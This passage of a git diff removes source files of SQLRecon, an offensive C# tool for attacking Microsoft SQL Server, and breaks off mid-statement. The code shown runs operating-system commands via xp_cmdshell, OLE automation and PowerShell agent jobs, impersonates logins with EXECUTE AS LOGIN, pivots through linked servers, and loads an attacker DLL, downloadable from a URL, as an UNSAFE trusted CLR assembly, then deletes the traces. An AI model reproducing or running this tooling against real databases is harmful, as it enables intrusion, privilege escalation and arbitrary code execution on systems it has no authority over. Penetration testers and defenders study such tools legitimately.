"1", linkedSqlServer); - } - // ldisableole - else if (module.Equals("ldisableole")) - { - Console.Out.WriteLine("\n[+] Disabling OLE Automation Procedures on " + linkedSqlServer + " via " + sqlServer + ":"); - Configure config = new Configure(); - config.LinkedEnableDisable(con, "OLE Automation Procedures", "0", linkedSqlServer); - } - // lenableclr - else if (module.Equals("lenableclr")) - { - Console.Out.WriteLine("\n[+] Enabling CLR integration on " + linkedSqlServer + " via " + sqlServer + ":"); - Configure config = new Configure(); - config.LinkedEnableDisable(con, "clr enabled", "1", linkedSqlServer); - } - // ldisableclr - else if (module.Equals("ldisableclr")) - { - Console.Out.WriteLine("\n[+] Disabling CLR integration on " + linkedSqlServer + " via " + sqlServer + ":"); - Configure config = new Configure(); - config.LinkedEnableDisable(con, "clr enabled", "0", linkedSqlServer); - } - // lclr - else if (module.Equals("lclr")) - { - Console.Out.WriteLine("\n[+] Performing CLR custom assembly attack on " + linkedSqlServer + " via " + sqlServer + ":"); - CLR clr = new CLR(); - clr.Linked(con, option, function, linkedSqlServer); - } - // lxpcmd - else if (module.Equals("lxpcmd")) - { - Console.Out.WriteLine("\n[+] Executing '" + option + "' on " + linkedSqlServer + " via " + sqlServer + ":"); - XPCmdShell XPCmdShell = new XPCmdShell(); - XPCmdShell.LinkedCommand(con, option, linkedSqlServer); - } - else if (module.Equals("lolecmd")) - { - Console.Out.WriteLine("\n[+] Executing '" + option + "' on " + linkedSqlServer + " via " + sqlServer + ":"); - OLE Ole = new OLE(); - Ole.LinkedCommand(con, option, linkedSqlServer); - } - // lagentstatus - else if (module.Equals("lagentstatus")) - { - Console.Out.WriteLine("\n[+] Getting SQL agent status on " + linkedSqlServer + " via " + sqlServer + ":"); - AgentJobs aj = new AgentJobs(); - aj.LinkedAgentStatus(con, sqlServer, linkedSqlServer); - } - // lagentcmd - else if (module.Equals("lagentcmd")) - { - Console.Out.WriteLine("\n[+] Executing '" + option + "' on " + linkedSqlServer + " via " + sqlServer); - AgentJobs aj = new AgentJobs(); - aj.LinkedAgentCommand(con, linkedSqlServer, option); - } - - - // ############################################### - // ########## Impersonation SQL Modules ########## - // ############################################### - - // iwhoami - else if (module.Equals("iwhoami")) - { - Console.Out.WriteLine("\n[+] Logged in as: " + sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; SELECT SYSTEM_USER;")); - Console.Out.WriteLine("\n[+] Mapped to the user: " + sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "';SELECT USER_NAME();")); - - Console.Out.WriteLine("\n[+] Roles: "); - var roles = new Roles(); - - // this sql command extracts all of the observable roles which are present in the current database - // "select name from sys.database_principals where type = 'R'" also works - string getRoles = sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "';select [name] from sysusers where issqlrole = 1;").TrimStart('\n').Replace(" |", ""); - - // get rid of the first two elements, which will be "name" and "-------" - string[] rolesArr = getRoles.Split('\n').Skip(2).ToArray(); - - // these are the default MS SQL database roles - string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" }; - - string[] combinedRoles = rolesArr.Concat(defaultRoles).ToArray(); - - // test to see if the current principal is a member of any roles - foreach (var item in combinedRoles) - { - roles.CheckImpersonatedRole(con, item.Trim(), impersonate, true); - } - } - // iusers - else if (module.Equals("iusers")) - { - Console.Out.WriteLine("\n[+] Getting users in the " + database + " database on " + sqlServer + " as " + impersonate + ":" + sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; select name as username, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type from sys.database_principals where type not in ('A', 'R', 'X') and sid is not null order by username;")); - } - // iquery - else if (module.Equals("iquery")) - { - Console.Out.WriteLine("\n[+] Executing " + option + " as " + impersonate + " on " + sqlServer + ":" + sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; " + option)); - } - // ienablexp - else if (module.Equals("ienablexp")) - { - Console.Out.WriteLine("\n[+] Enabling xp_cmdshell as " + impersonate + " on " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "xp_cmdshell", "1", impersonate); - } - // idisablexp - else if (module.Equals("idisablexp")) - { - Console.Out.WriteLine("\n[+] Disabling xp_cmdshell as " + impersonate + " on " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "xp_cmdshell", "0", impersonate); - } - // ixpcmd - else if (module.Equals("ixpcmd")) - { - Console.Out.WriteLine("\n[+] Executing '" + option + "' as " + impersonate + " on " + sqlServer); - XPCmdShell XPCmdShell = new XPCmdShell(); - XPCmdShell.ImpersonateCommand(con, option, impersonate); - } - // ienableole - else if (module.Equals("ienableole")) - { - Console.Out.WriteLine("\n[+] Enabling Ole Automation Procedures as " + impersonate + " on " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "Ole Automation Procedures", "1", impersonate); - } - // idisableole - else if (module.Equals("idisableole")) - { - Console.Out.WriteLine("\n[+] Disabling Ole Automation Procedures as " + impersonate + " on " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "Ole Automation Procedures", "0", impersonate); - } - // iolecmd - else if (module.Equals("iolecmd")) - { - Console.Out.WriteLine("\n[+] Executing '" + option + "' as " + impersonate + " on " + sqlServer); - OLE Ole = new OLE(); - Ole.ImpersonateCommand(con, option, impersonate); - } - // ienableclr - else if (module.Equals("ienableclr")) - { - Console.Out.WriteLine("\n[+] Enabling CLR Integration as " + impersonate + " on " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "clr enabled", "1", impersonate); - } - // idisableclr - else if (module.Equals("idisableclr")) - { - Console.Out.WriteLine("\n[+] Disabling CLR Integration as " + impersonate + " on " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "clr enabled", "0", impersonate); - } - // iclr - else if (module.Equals("iclr")) - { - Console.Out.WriteLine("\n[+] Performing CLR custom assembly attack as " + impersonate + " on " + sqlServer); - CLR clr = new CLR(); - clr.Impersonate(con, option, function, impersonate); - } - // iagentstatus - else if (module.Equals("iagentstatus")) - { - AgentJobs aj = new AgentJobs(); - aj.AgentStatus(con, sqlServer, impersonate); - } - // iagentcmd - else if (module.Equals("iagentcmd")) - { - Console.Out.WriteLine("\n[+] Executing '" + option + "' as " + impersonate + " on " + sqlServer); - AgentJobs aj = new AgentJobs(); - aj.ImpersonateAgentCommand(con, sqlServer, option, impersonate); - } - else - { - Console.WriteLine("\n[!] ERROR: Module " + module + " does not exist\n"); - } - } // end EvaluateTheArguments - } -} diff --git a/SQLRecon/SQLRecon/authentication/Azure.cs b/SQLRecon/SQLRecon/authentication/Azure.cs deleted file mode 100644 index b0322d2..0000000 --- a/SQLRecon/SQLRecon/authentication/Azure.cs +++ /dev/null @@ -1,17 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Auth -{ - public class AzureAuth - { - // this handles domain authentication to Azure based MS SQL databases - public SqlConnection Send(String sqlServer, String database, String domain, String user, String pass) - { - user = user + "@" + domain; - String conString = "Server = " + sqlServer + "; Database = " + database + "; Authentication=Active Directory Password; TrustServerCertificate=True; user id=" + user + "; password=" + pass + ";"; - TestAuthentication TestAuthentication = new TestAuthentication(); - return TestAuthentication.Send(conString, user, sqlServer); - } - } -} diff --git a/SQLRecon/SQLRecon/authentication/Local.cs b/SQLRecon/SQLRecon/authentication/Local.cs deleted file mode 100644 index 1a8b28b..0000000 --- a/SQLRecon/SQLRecon/authentication/Local.cs +++ /dev/null @@ -1,17 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Auth -{ - public class LocalAuth - { - // this handles local authentication to MS SQL databases - public SqlConnection Send(String sqlServer, String database, String user, String pass) - { - String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security=false; user id=" + user + "; password=" + pass + ";"; - - TestAuthentication TestAuthentication = new TestAuthentication(); - return TestAuthentication.Send(conString, user, sqlServer); - } - } -} diff --git a/SQLRecon/SQLRecon/authentication/TestAuthentication.cs b/SQLRecon/SQLRecon/authentication/TestAuthentication.cs deleted file mode 100644 index 42bfe87..0000000 --- a/SQLRecon/SQLRecon/authentication/TestAuthentication.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Auth -{ - public class TestAuthentication - { - public SqlConnection Send(String conString, String user, String sqlServer) - { - SqlConnection con = new SqlConnection(conString); - - try - { - con.Open(); - return con; - } - - catch - { - Console.WriteLine("[!] Failed! " + user + " can not log in to " + sqlServer.Replace(",",":") + "\n"); - con = null; - return con; - } - } - } -} diff --git a/SQLRecon/SQLRecon/authentication/Windows.cs b/SQLRecon/SQLRecon/authentication/Windows.cs deleted file mode 100644 index 8140919..0000000 --- a/SQLRecon/SQLRecon/authentication/Windows.cs +++ /dev/null @@ -1,17 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Auth -{ - public class WindowsAuth - { - // this handles Windows authentication to MS SQL databases - public SqlConnection Send(String sqlServer, String database) - { - string user = System.Security.Principal.WindowsIdentity.GetCurrent().Name; - String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; - TestAuthentication TestAuthentication = new TestAuthentication(); - return TestAuthentication.Send(conString, user, sqlServer); - } - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/modules/AgentJobs.cs b/SQLRecon/SQLRecon/modules/AgentJobs.cs deleted file mode 100644 index 7ec44fa..0000000 --- a/SQLRecon/SQLRecon/modules/AgentJobs.cs +++ /dev/null @@ -1,318 +0,0 @@ -using System; -using System.Data.SqlClient; -using System.IO; -using System.Security.Cryptography; - -namespace SQLRecon.Modules -{ - public class AgentJobs - { - SQLQuery sqlQuery = new SQLQuery(); - - public void AgentStatus(SqlConnection con, String sqlServer, String impersonate = "null") - { - string sqlOutput = ""; - - if (!impersonate.Equals("null")) - { - sqlOutput = CheckAgent(con, sqlServer, impersonate); - } - else - { - sqlOutput = CheckAgent(con, sqlServer); - } - - if (sqlOutput.Contains("1")) - { - Console.Out.WriteLine("\n[+] SQL agent is running on: " + sqlServer); - - if (!impersonate.Equals("null")) - { - Console.WriteLine(Jobs(con, sqlServer, impersonate)); - } - else - { - Console.WriteLine(Jobs(con, sqlServer)); - } - } - else - { - Console.Out.WriteLine("\n" + sqlOutput); - } - } - - public void LinkedAgentStatus(SqlConnection con, String sqlServer, String linkedSqlServer) - { - string sqlOutput = LinkedCheckAgent(con, linkedSqlServer); - - if (sqlOutput.ToLower().Contains("1")) - { - Console.Out.WriteLine("\n[+] SQL agent is running on: " + linkedSqlServer); - Console.WriteLine(LinkedJobs(con, linkedSqlServer)); - } - else - { - Console.Out.WriteLine("\n" + sqlOutput); - } - } - - public string Jobs(SqlConnection con, String sqlServer, String impersonate = "null") - { - string sqlOutput = ""; - - if (!impersonate.Equals("null")) - { - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; SELECT job_id, name, enabled, date_created, date_modified FROM msdb.dbo.sysjobs ORDER BY date_created"); - } - else - { - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "SELECT job_id, name, enabled, date_created, date_modified FROM msdb.dbo.sysjobs ORDER BY date_created"); - } - - if (sqlOutput.ToLower().Contains("job_id")) - { - return "\n[+] Agent Jobs:" + sqlOutput; - } - else if (sqlOutput.ToLower().Contains("permission")) - { - return "\n[!] ERROR: The current user does not have permissions to view agent information"; - } - else - { - return "\n[+] There are no jobs on: " + sqlServer; - } - } - - public string LinkedJobs(SqlConnection con, String linkedSqlServer) - { - string sqlOutput = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "SELECT job_id, name, enabled, date_created, date_modified FROM msdb.dbo.sysjobs ORDER BY date_created"); - - if (sqlOutput.ToLower().Contains("job_id")) - { - return "\n[+] Agent Jobs: " + linkedSqlServer + "\n" + sqlOutput; - } - else if (sqlOutput.ToLower().Contains("permission")) - { - return "\n[!] ERROR: The current user does not have permissions to view agent information"; - } - else - { - return "\n[+] There are no jobs on: " + linkedSqlServer; - } - } - - public string CheckAgent(SqlConnection con, String sqlServer, String impersonate = "null") - { - string sqlOutput = ""; - - if (!impersonate.Equals("null")) - { - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; SELECT dss.[status], dss.[status_desc] FROM sys.dm_server_services dss WHERE dss.[servicename] LIKE 'SQL Server Agent (%';"); - } - else - { - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "SELECT dss.[status], dss.[status_desc] FROM sys.dm_server_services dss WHERE dss.[servicename] LIKE 'SQL Server Agent (%';"); - } - - if (sqlOutput.ToLower().Contains("running")) - { - return "1"; - } - else if (sqlOutput.ToLower().Contains("permission")) - { - return "\n[!] ERROR: The current user does not have permissions to view agent information"; - } - else - { - return "\n[+] SQL agent is not running on: " + sqlServer; - } - } - - public string LinkedCheckAgent(SqlConnection con, String linkedSqlServer) - { - string sqlOutput = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "SELECT dss.[status], dss.[status_desc] FROM sys.dm_server_services dss WHERE dss.[servicename] LIKE ''SQL Server Agent (%'';"); - - if (sqlOutput.ToLower().Contains("running")) - { - return "1"; - } - else if (sqlOutput.ToLower().Contains("permission")) - { - return "\n[!] ERROR: The current user does not have permissions to view agent information"; - } - else - { - return "\n[+] SQL agent is not running on: " + linkedSqlServer; - } - } - - public void AgentCommand(SqlConnection con, string sqlServer, String cmd) - { - string sqlOutput = ""; - - // first check to see if agent is running - sqlOutput = CheckAgent(con, sqlServer); - - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: The SQL Agent is not running"); - return; - } - - RandomString rs = new RandomString(); - string jobName = rs.Generate(8); // generate a new random output name - string stepName = rs.Generate(8); // generate a new random program name - - Console.WriteLine("\n[+] Setting job_name to: " + jobName); - Console.WriteLine("\n[+] Setting step_name to: " + stepName); - - - sqlOutput = sqlQuery.ExecuteQuery(con, "use msdb;" + - "EXEC dbo.sp_add_job @job_name = '" + jobName + "';" + - "EXEC sp_add_jobstep @job_name = '" + jobName + "', " + - "@step_name = '" + stepName + "', " + - "@subsystem = 'PowerShell', " + - "@command = '" + cmd + "', " + - "@retry_attempts = 1, " + - "@retry_interval = 5;" + - "EXEC dbo.sp_add_jobserver @job_name = '" + jobName + "';"); - - sqlOutput = Jobs(con, sqlServer); - - if (sqlOutput.ToLower().Contains(jobName.ToLower())) - { - Console.WriteLine("\n[+] Executing Job and waiting for 5 seconds ..."); - sqlOutput = sqlQuery.ExecuteQuery(con, "use msdb;" + - "EXEC dbo.sp_start_job '" + jobName + "'; " + - "WAITFOR DELAY '00:00:05';"); - - Console.WriteLine("\nSUCCESS: Deleting job"); - - sqlQuery.ExecuteQuery(con, "use msdb;" + - "EXEC dbo.sp_delete_job @job_name = '" + jobName + "';"); - } - else if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to create new jobs"); - } - else - { - Console.WriteLine("\n[!] ERROR: Unable to create new job"); - } - } - - public void ImpersonateAgentCommand(SqlConnection con, string sqlServer, String cmd, String impersonate) - { - string sqlOutput = ""; - - // first check to see if agent is running - sqlOutput = CheckAgent(con, sqlServer, impersonate); - - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: The SQL Agent is not running"); - return; - } - - RandomString rs = new RandomString(); - string jobName = rs.Generate(8); // generate a new random output name - string stepName = rs.Generate(8); // generate a new random program name - - Console.WriteLine("\n[+] Setting job_name to: " + jobName); - Console.WriteLine("\n[+] Setting step_name to: " + stepName); - - sqlOutput = sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "';" + - "use msdb;" + - "EXEC dbo.sp_add_job @job_name = '" + jobName + "';" + - "EXEC sp_add_jobstep @job_name = '" + jobName + "', " + - "@step_name = '" + stepName + "', " + - "@subsystem = 'PowerShell', " + - "@command = '" + cmd + "', " + - "@retry_attempts = 1, " + - "@retry_interval = 5;" + - "EXEC dbo.sp_add_jobserver @job_name = '" + jobName + "';"); - - sqlOutput = Jobs(con, sqlServer, impersonate); - - if (sqlOutput.ToLower().Contains(jobName.ToLower())) - { - Console.WriteLine("\n[+] Executing Job and waiting for 5 seconds ..."); - sqlOutput = sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; " + - "use msdb;" + - "EXEC dbo.sp_start_job '" + jobName + "';" + - " WAITFOR DELAY '00:00:05';"); - - Console.WriteLine("\nSUCCESS: Deleting job"); - - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; " + - "use msdb; " + - "EXEC dbo.sp_delete_job @job_name = '" + jobName + "';"); - } - else if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to create new jobs"); - } - else - { - Console.WriteLine("\n[!] ERROR: Unable to create new job"); - } - } - - public void LinkedAgentCommand(SqlConnection con, string linkedSqlServer, String cmd) - { - string sqlOutput = ""; - - // first check to see if agent is running - sqlOutput = LinkedCheckAgent(con, linkedSqlServer); - - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: The SQL Agent is not running on the linked server"); - return; - } - - RandomString rs = new RandomString(); - string jobName = rs.Generate(8); // generate a new random output name - string stepName = rs.Generate(8); // generate a new random program name - - Console.WriteLine("\n[+] Setting job_name to: " + jobName); - Console.WriteLine("\n[+] Setting step_name to: " + stepName); - - sqlOutput = sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "use msdb;" + - "EXEC dbo.sp_add_job @job_name = ''" + jobName + "'';" + - "EXEC dbo.sp_add_jobstep @job_name = ''" + jobName + "'', " + - "@step_name = ''" + stepName + "'', " + - "@subsystem = ''PowerShell'', " + - "@command = ''" + cmd + "'', " + - "@retry_attempts = 1, " + - "@retry_interval = 5;" + - "EXEC dbo.sp_add_jobserver @job_name = ''" + jobName + "'';"); - - sqlOutput = LinkedJobs(con, linkedSqlServer); - - - if (sqlOutput.ToLower().Contains(jobName.ToLower())) - { - Console.WriteLine("\n[+] Executing Job and waiting for 5 seconds ..."); - sqlOutput = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "use msdb;" + - "EXEC dbo.sp_start_job ''" + jobName + "''; " + - "WAITFOR DELAY ''00:00:05'';"); - - Console.WriteLine("\nSUCCESS: Deleting job"); - - sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "use msdb;" + - "EXEC dbo.sp_delete_job @job_name = ''" + jobName + "'';"); - } - else if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to create new jobs"); - } - else - { - Console.WriteLine("\n[!] ERROR: Unable to create new job"); - - } - } - - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/modules/CLRAssemblies.cs b/SQLRecon/SQLRecon/modules/CLRAssemblies.cs deleted file mode 100644 index 4110e96..0000000 --- a/SQLRecon/SQLRecon/modules/CLRAssemblies.cs +++ /dev/null @@ -1,386 +0,0 @@ -using System; -using System.Data.SqlClient; -using System.IO; -using System.Net; -using System.Security.Cryptography; - -namespace SQLRecon.Modules -{ - public class CLR - { - SQLQuery sqlQuery = new SQLQuery(); - Configure config = new Configure(); - - public string[] ConvertDLLToSQLBytesFile(String dll) - { - string[] dllArr = new string[2]; - string dllHash = ""; - string dllBytes = ""; - - // read the DLL, create a SHA-512 hash for it and convert the DLL to SQL compatible bytes - try - { - FileInfo fileinfo = new FileInfo(dll); - Console.WriteLine("\n[+] " + dll + " is " + fileinfo.Length + " bytes, this will take a minute ..."); - - // get the SHA-512 hash of the DLL so we can use sp_add_trusted_assembly to add it as a trusted DLL on the SQL server - using (SHA512 SHA512 = SHA512Managed.Create()) - { - using (FileStream fileStream = System.IO.File.OpenRead(dll)) - { - foreach (var hash in SHA512.ComputeHash(fileStream)) - { - dllHash += hash.ToString("x2"); - } - } - } - - // read the local dll as bytes and store into the dllBytes variable, otherwise, the DLL will need to be on the SQL server - foreach (Byte b in File.ReadAllBytes(dll)) - { - dllBytes += b.ToString("X2"); - } - - } - catch (FileNotFoundException) - { - Console.WriteLine("[!] ERROR: Unable to load: " + dll); - } - - dllArr[0] = dllHash; - dllArr[1] = dllBytes; - return dllArr; - } - - public string[] ConvertDLLToSQLBytesWeb(String dll) - { - string[] dllArr = new string[2]; - string dllHash = ""; - string dllBytes = ""; - - try - { - // get the SHA-512 hash of the DLL so we can use sp_add_trusted_assembly to add it as a trusted DLL on the SQL server - using (SHA512 SHA512 = SHA512Managed.Create()) - { - using (var client = new WebClient()) - { - System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls | System.Net.SecurityProtocolType.Tls11 | System.Net.SecurityProtocolType.Tls12; - Console.WriteLine("\n[+] Downloading DLL from: " + dll); - - var content = client.DownloadData(dll); - - using (var stream = new MemoryStream(content)) - { - BinaryReader reader = new BinaryReader(stream); - byte[] dllByteArray = reader.ReadBytes(Convert.ToInt32(stream.Length)); - stream.Close(); - reader.Close(); - - Console.WriteLine("\n[+] DLL is " + dllByteArray.Length + " bytes, this will take a minute ..."); - - foreach (var hash in SHA512.ComputeHash(dllByteArray)) - { - dllHash += hash.ToString("x2"); - } - // read the local dll as bytes and store into the dllBytes variable, otherwise, the DLL will need to be on the SQL server - foreach (Byte b in dllByteArray) - { - dllBytes += b.ToString("X2"); - } - } - } - - } - } - catch (Exception ex) - { - Console.WriteLine("[!] ERROR: Unable to download DLL"); - } - - dllArr[0] = dllHash; - dllArr[1] = dllBytes; - return dllArr; - } - - public string[] ConvertDLLToSQLBytes(String dll) - { - string[] dllArr = new string[2]; - - // logic to determine if the DLL is being read from disk or web - if (dll.ToLower().Contains("http://") || dll.ToLower().Contains("https://")) - { - dllArr = ConvertDLLToSQLBytesWeb(dll); - } - else - { - dllArr = ConvertDLLToSQLBytesFile(dll); - } - - return dllArr; - } - - // this loads and execute a custom assembly against a standard sql server - public void Standard(SqlConnection con, String dll, String function) - { - string sqlOutput = ""; - - // first check to see if clr integration is enabled - sqlOutput = config.Check(con, "clr enabled"); - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: You need to enable CLR (enableclr)."); - return; - } - - // Get the SHA-512 hash for the DLL and convert the DLL to bytes - string[] dllArr = ConvertDLLToSQLBytes(dll); - string dllHash = dllArr[0]; - string dllBytes = dllArr[1]; - - - if (dllHash.Length != 128) - { - Console.WriteLine("[!] ERROR: Unable to calculate hash for DLL"); - return; - } - - // generate a new random string for the assembly name - RandomString rs = new RandomString(); - string assem = rs.Generate(8); - - // check to see if the hash already exists - sqlOutput = sqlQuery.ExecuteQuery(con, "SELECT hash FROM sys.trusted_assemblies where hash = 0x" + dllHash); - - if (sqlOutput.Length > 1) - { - Console.WriteLine("\n[!] Hash already exists in sp_add_trusted_assembly. Deleting it before moving forward."); - sqlQuery.ExecuteQuery(con, "EXEC sp_drop_trusted_assembly 0x" + dllHash + ";"); - } - - // add the SHA-512 hash of the DLL on to the SQL server using sp_add_trusted_assembly and verify it exists - sqlOutput = sqlQuery.ExecuteQuery(con, "EXEC sp_add_trusted_assembly 0x" + dllHash + ",N'" + dll + - ", version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';" + - "SELECT hash FROM sys.trusted_assemblies where hash = 0x" + dllHash); - - if (sqlOutput.Contains("System.Byte[]")) - { - Console.WriteLine("\n[+] SUCCESS: Added SHA-512 hash for " + dll + " to sp_add_trusted_assembly."); - } - else - { - Console.WriteLine("\n[!] ERROR: Unable to add hash to sp_add_trusted_assembly."); - return; - } - - // drop the procedure name, which is the same as the function name if it exists already. Drop the assembly name if it exists already. - sqlQuery.ExecuteQuery(con, "DROP PROCEDURE IF EXISTS " + function + ";"); - sqlQuery.ExecuteQuery(con, "DROP ASSEMBLY IF EXISTS " + assem + ";"); - - // create a new custom assembly and strored procedure based on the function name in the DLL - Console.WriteLine("\n[+] Loading DLL into stored procedure '" + function + "'"); - sqlQuery.ExecuteQuery(con, "CREATE ASSEMBLY " + assem + " FROM 0x" + dllBytes + " WITH PERMISSION_SET = UNSAFE;"); - sqlQuery.ExecuteQuery(con, "CREATE PROCEDURE [dbo].[" + function + "] AS EXTERNAL NAME [" + assem + "].[StoredProcedures].[" + function + "];"); - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "SELECT SCHEMA_NAME(schema_id), name FROM sys.procedures WHERE type = 'PC';"); - - - if (sqlOutput.Contains(function)) - { - Console.WriteLine("\n[+] SUCCESS: Added [" + assem + "].[StoredProcedures].[" + function + "]"); - } - else - { - Console.WriteLine("\n[!] ERROR: Unable to load DLL into Custom Stored Procedure. Deleting assembly and stored procedure."); - sqlQuery.ExecuteQuery(con, "DROP PROCEDURE IF EXISTS " + function + ";"); - sqlQuery.ExecuteQuery(con, "DROP ASSEMBLY IF EXISTS " + assem + ";"); - sqlQuery.ExecuteQuery(con, "EXEC sp_drop_trusted_assembly 0x" + dllHash + ";"); - return; - } - - // executing new custom assembly and strored procedure - Console.WriteLine("\n[+] Executing DLL ..."); - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXEC " + function); - - // Cleaning up - Console.WriteLine("\n[+] Cleaning up. Deleting DLL, stored procedure and hash from sp_add_trusted_assembly."); - sqlQuery.ExecuteQuery(con, "DROP PROCEDURE IF EXISTS " + function + ";"); - sqlQuery.ExecuteQuery(con, "DROP ASSEMBLY IF EXISTS " + assem + ";"); - sqlQuery.ExecuteQuery(con, "EXEC sp_drop_trusted_assembly 0x" + dllHash + ";"); - } - - // this loads and execute a custom assembly against a sql server using impersonation - public void Impersonate(SqlConnection con, String dll, String function, String impersonate = "null") - { - string sqlOutput = ""; - - // first check to see if clr integration is enabled - sqlOutput = config.Check(con, "clr enabled", impersonate); - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: You need to enable CLR (ienableclr)."); - return; - } - - // Get the SHA-512 hash for the DLL and convert the DLL to bytes - string[] dllArr = ConvertDLLToSQLBytes(dll); - string dllHash = dllArr[0]; - string dllBytes = dllArr[1]; - - if (dllHash.Length != 128) - { - Console.WriteLine("[!] ERROR: Unable to calculate hash for DLL"); - return; - } - - // generate a new random string for the assembly name - RandomString rs = new RandomString(); - string assem = rs.Generate(8); - - // check to see if the hash already exists - sqlOutput = sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; SELECT hash FROM sys.trusted_assemblies where hash = 0x" + dllHash); - - if (sqlOutput.Length > 1) - { - Console.WriteLine("\n[!] Hash already exists in sp_add_trusted_assembly. Deleting it before moving forward."); - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; EXEC sp_drop_trusted_assembly 0x" + dllHash + ";"); - } - - // add the SHA-512 hash of the DLL on to the SQL server using sp_add_trusted_assembly and verify it exists - sqlOutput = sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "';" + - "EXEC sp_add_trusted_assembly 0x" + dllHash + ",N'" + dll + - ", version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';" + - "SELECT hash FROM sys.trusted_assemblies where hash = 0x" + dllHash); - - if (sqlOutput.Contains("System.Byte[]")) - { - Console.WriteLine("\n[+] SUCCESS: Added SHA-512 hash for " + dll + " to sp_add_trusted_assembly."); - } - else - { - Console.WriteLine("\n[!] ERROR: Unable to add hash to sp_add_trusted_assembly."); - return; - } - - // drop the procedure name, which is the same as the function name if it exists already. Drop the assembly name if it exists already. - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; DROP PROCEDURE IF EXISTS " + function + ";"); - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; DROP ASSEMBLY IF EXISTS " + assem + ";"); - - // create a new custom assembly and strored procedure based on the function name in the DLL - Console.WriteLine("\n[+] Loading DLL into stored procedure '" + function + "'"); - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; CREATE ASSEMBLY " + assem + " FROM 0x" + dllBytes + " WITH PERMISSION_SET = UNSAFE;"); - sqlQuery.ExecuteQuery(con, "CREATE PROCEDURE [dbo].[" + function + "] WITH EXECUTE AS 'dbo' AS EXTERNAL NAME [" + assem + "].[StoredProcedures].[" + function + "];"); - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; SELECT SCHEMA_NAME(schema_id), name FROM sys.procedures WHERE type = 'PC';"); - - - if (sqlOutput.Contains(function)) - { - Console.WriteLine("\n[+] SUCCESS: Added [" + assem + "].[StoredProcedures].[" + function + "]"); - } - else - { - Console.WriteLine("\n[!] ERROR: Unable to load DLL into Custom Stored Procedure. Deleting assembly and stored procedure."); - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; DROP PROCEDURE IF EXISTS " + function + ";"); - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; DROP ASSEMBLY IF EXISTS " + assem + ";"); - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; EXEC sp_drop_trusted_assembly 0x" + dllHash + ";"); - return; - } - - // executing new custom assembly and strored procedure - Console.WriteLine("\n[+] Executing DLL ..."); - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; EXEC " + function); - - // Cleaning up - Console.WriteLine("\n[+] Cleaning up. Deleting DLL, stored procedure and hash from sp_add_trusted_assembly."); - sqlQuery.ExecuteQuery(con, "EXECUTE AS 